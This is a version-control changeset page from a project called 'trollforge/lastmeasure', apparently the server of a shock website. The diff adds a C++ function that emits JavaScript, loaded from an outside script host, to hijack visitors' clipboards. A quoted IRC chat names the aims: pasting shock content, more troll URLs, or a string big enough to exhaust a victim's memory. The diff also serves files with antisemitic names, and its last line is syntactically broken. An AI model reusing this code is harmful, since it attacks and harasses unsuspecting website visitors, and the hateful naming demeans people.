Changeset 572 for trollforge


Ignore:
Timestamp:
01/12/12 05:46:13 (17 months ago)
Author:
literalka
Message:

+ blank mp3 & Tynt js

Location:
trollforge/lastmeasure
Files:
1 added
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/lmresource.h

    r569 r572  
    7171    "/audio/sam.wav",      "/audio/trogg.wav", 
    7272 
     73    /* <iframe> */ 
     74    "/lm.pdf", 
     75    "/lm2.pdf", 
     76    "/jews.wmv", 
     77    "/gnaa.mp3", 
     78 
    7379    /* Other static files */ 
    7480    "/flash/first_opener.swf", 
     
    7783    "/flash/hey.swf", 
    7884 
    79     "/lm.pdf", 
    80     "/lm2.pdf", 
    81     "/jews.wmv", 
    8285    "/LastCoffee.class", 
    8386    "/gnaa.png", 
     
    8588    "/favicon.ico", 
    8689    "/robots.txt", 
     90 
     91    "/index.php", 
    8792}; 
    8893 
     
    628633        return ret.str(); 
    629634    } 
     635/* 
     636 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page 
     637 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards 
     638 * 06:47:09 <incog> from ascii art goatse, to more LM urls 
     639 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram 
     640 */ 
     641    static std::string Tynt() 
     642    { 
     643        std::stringstream ret(""); 
     644 
     645        ret << 
     646 
     647        "<script type=\"text/javascript\">\r\n" 
     648        "    if(document.location.protocol=='http:'){\r\n" 
     649        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n" 
     650        "        (function(){\r\n" 
     651        "            var s=document.createElement('script');s.async=\"async\";s.type\="text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n" 
     652        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n" 
     653        "    }\r\n" 
     654        "</script>\r\n"; 
     655 
     656/* 
     657        "<script type=\"text/javascript\">\r\n" 
     658        "    tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n" 
     659        "</script>\r\n" 
     660 
     661        "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&amp;s=1&amp;st=1&amp;lang=en\"></script>\r\n"; 
     662*/ 
     663 
     664        return ret.str(); 
     665    } 
     666 
    630667 
    631668private: 
    632669    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 
    633670    static std::string m_statics[NSTATICS]; 
     671    static char const prefix = " 
    634672}; 
    635673 
Note: See TracChangeset for help on using the changeset viewer.